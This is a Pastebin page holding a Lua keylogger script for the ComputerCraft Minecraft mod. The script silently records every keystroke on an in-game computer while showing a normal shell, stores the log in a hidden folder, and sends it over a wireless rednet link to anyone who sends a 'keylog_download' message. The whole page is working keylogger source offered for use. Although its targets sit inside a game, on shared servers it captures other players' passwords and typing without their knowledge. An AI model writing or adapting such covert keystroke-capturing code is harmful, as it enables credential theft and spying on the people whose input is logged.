AssossaGPB

ComputerCraft Keylogger

Jul 23rd, 2014
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.93 KB | None | 0 0
  1. -- Keylogger
  2. local keys = {}
  3. local x,y = term.getSize()
  4.  
  5. for _, side in pairs( rs.getSides() ) do
  6.     if peripheral.getType(side) == "modem" and peripheral.call(side, "isWireless") then
  7.         rednet.open(side)
  8.         break
  9.     end
  10. end
  11.  
  12. local function klog()
  13.     while true do
  14.         local event,key = os.pullEvent()
  15.         if event == "char" then
  16.             table.insert(keys,key)
  17.         elseif event == "key" then
  18.             table.insert(keys,key)
  19.         end
  20.     end
  21. end
  22.  
  23. local function rdnt()
  24.     while true do
  25.         local id,msg = rednet.receive()
  26.         if msg == "keylog_download" then
  27.             rednet.send(id,textutils.serialize(keys))
  28.         elseif msg == "keylog_save" then
  29.             local file = fs.open(".logs/."..os.time(),"w")
  30.             file.write(textutils.serialize(keys))
  31.             file.close()
  32.         end
  33.     end
  34. end
  35.  
  36. local function kshell()
  37.     lshell = window.create(term.native(),1,1,x,y,true)
  38.     term.redirect(lshell)
  39.     shell.run("shell")
  40. end
  41.  
  42. while true do
  43.     parallel.waitForAny(klog,kshell,rdnt)
  44. end
Advertisement
Add Comment
Please, Sign In to add comment